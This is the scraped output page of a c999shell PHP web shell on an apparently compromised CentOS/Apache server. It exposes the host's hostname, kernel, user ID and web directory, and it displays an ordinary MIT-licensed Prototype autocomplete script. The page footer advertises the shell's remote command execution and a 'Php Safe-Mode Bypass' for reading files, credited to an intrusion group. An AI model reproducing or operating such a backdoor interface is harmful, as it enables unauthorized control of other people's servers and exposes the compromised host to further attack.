Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/mis/js/textboxlist_proto/ drwxr-xr-x |
Viewing file: Select action/file-type: /* Proto!TextboxList + Autocomplete 0.1 - Prototype version required: 6.0 Credits: - Idea: Facebook - Guillermo Rauch: Original MooTools script Changelog: - 0.1: translation of MooTools script */ /* Copyright: InteRiders <http://interiders.com/> - Distributed under MIT - Keep this message! */ var FacebookList = Class.create(TextboxList, { loptions: $H({ autocomplete: { 'opacity': 0.8, 'maxresults': 10, 'minchars': 1 } }), initialize: function($super,element, autoholder, options) { $super(element, options); this.data = []; this.autoholder = $(autoholder).setOpacity(this.loptions.get('autocomplete').opacity); this.autoresults = this.autoholder.select('ul').first(); var children = this.autoresults.select('li'); children.each(function(el) { this.add(el.innerHTML); }, this); }, autoShow: function(search) { this.autoholder.setStyle({'display': 'block'}); this.autoholder.descendants().each(function(e) { e.setStyle({'display': 'none'}) }); if(! search || ! search.strip() || (! search.length || search.length < this.loptions.get('autocomplete').minchars)) { this.autoholder.select('.default').first().setStyle({'display': 'block'}); this.resultsshown = false; } else { this.resultsshown = true; this.autoresults.setStyle({'display': 'block'}).update(''); this.data.filter(function(str) { return str ? new RegExp(search,'i').test(str) : false; }).each(function(result, ti) { if(ti >= this.loptions.get('autocomplete').maxresults) return; var that = this; var el = new Element('li').update(this.autoHighlight(result, search)); el.observe('mouseover',function() { that.autoFocus(this); }); el.observe('click',function(e) { Event.stop(e); that.autoAdd(this); }); this.autoresults.insert(el); el.cacheData('result', result,1); if(ti == 0) this.autoFocus(el); }, this); } return this; }, autoHighlight: function(html, highlight) { return html.gsub(new RegExp(highlight,'i'), function(match) { return '<em>' + match[0] + '</em>'; }); }, autoHide: function() { this.resultsshown = false; this.autoholder.setStyle({'display': 'none'}); return this; }, autoFocus: function(el) { if(! el) return; if(this.autocurrent) this.autocurrent.removeClassName('auto-focus'); this.autocurrent = el.addClassName('auto-focus'); return this; }, autoMove: function(direction) { if(!this.resultsshown) return; this.autoFocus(this.autocurrent[(direction == 'up' ? 'previous' : 'next')]()); return this; }, autoFeed: function(text) { if (this.data.indexOf(text) == -1) this.data.push(text); return this; }, autoAdd: function(el) { if(!el || ! el.retrieveData('result')) return; this.add(el.retrieveData('result')); delete this.data[this.data.indexOf(el.retrieveData('result'))]; this.autoHide(); var input = this.lastinput || this.current.retrieveData('input'); input.clear().focus(); return this; }, createInput: function($super,options) { var li = $super(options); var input = li.retrieveData('input'); input.observe('keydown', function(e) { this.dosearch = false; switch(e.keyCode) { case Event.KEY_UP: return this.autoMove('up'); case Event.KEY_DOWN: return this.autoMove('down'); case Event.KEY_RETURN: if(! this.autocurrent) break; this.autoAdd(this.autocurrent); this.autocurrent = false; this.autoenter = true; break; case Event.KEY_ESC: this.autoHide(); if(this.current && this.current.retrieveData('input')) this.current.retrieveData('input').clear(); break; default: this.dosearch = true; } }.bind(this)); input.observe('keyup',function() { if(this.dosearch) this.autoShow(input.value); }.bind(this)); input.observe(Prototype.Browser.IE ? 'keydown' : 'keypress', function(e) { if(this.autoenter) Event.stop(e); this.autoenter = false; }.bind(this)); return li; }, createBox: function($super,text, options) { var li = $super(text, options); li.observe('mouseover',function() { this.addClassName('bit-hover'); }); li.observe('mouseout',function() { this.removeClassName('bit-hover') }); var a = new Element('a', { 'href': '#', 'class': 'closebutton' } ); a.observe('click',function(e) { Event.stop(e); if(! this.current) this.focus(this.maininput); this.dispose(li); }.bind(this)); li.insert(a).cacheData('text', text); return li; } }); |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]-- |